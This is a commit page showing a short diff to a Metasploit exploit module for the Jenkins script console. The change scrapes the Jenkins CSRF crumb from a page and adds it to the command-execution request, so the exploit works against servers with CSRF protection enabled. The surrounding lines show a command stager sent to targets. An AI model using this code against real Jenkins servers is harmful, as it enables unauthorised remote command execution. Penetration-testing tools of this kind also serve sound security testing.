Skip to content

Commit 4c2ae1a

Browse files
committed
Fix jenkins when CSRF is enabled
1 parent 1095d1d commit 4c2ae1a

File tree

1 file changed

+7
-0
lines changed

1 file changed

+7
-0
lines changed

modules/exploits/multi/http/jenkins_script_console.rb

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -80,6 +80,7 @@ def http_send_command(cmd, opts = {})
8080
}
8181
}
8282
request_parameters['cookie'] = @cookie if @cookie != nil
83+
request_parameters['vars_post']['.crumb'] = @crumb if @crumb != nil
8384
res = send_request_cgi(request_parameters)
8485
if not (res and res.code == 200)
8586
fail_with(Failure::Unknown, 'Failed to execute the command.')
@@ -145,6 +146,7 @@ def exploit
145146
fail_with(Failure::Unknown) if not res
146147

147148
@cookie = nil
149+
@crumb = nil
148150
if res.code != 200
149151
print_status('Logging in...')
150152
res = send_request_cgi({
@@ -167,6 +169,11 @@ def exploit
167169
print_status('No authentication required, skipping login...')
168170
end
169171

172+
if (res.body =~ /"\.crumb", "([a-z0-9]*)"/)
173+
print_status("Using CSRF token: '#{$1}'");
174+
@crumb = $1;
175+
end
176+
170177
case target['Platform']
171178
when 'win'
172179
print_status("#{rhost}:#{rport} - Sending command stager...")

0 commit comments

Comments
 (0)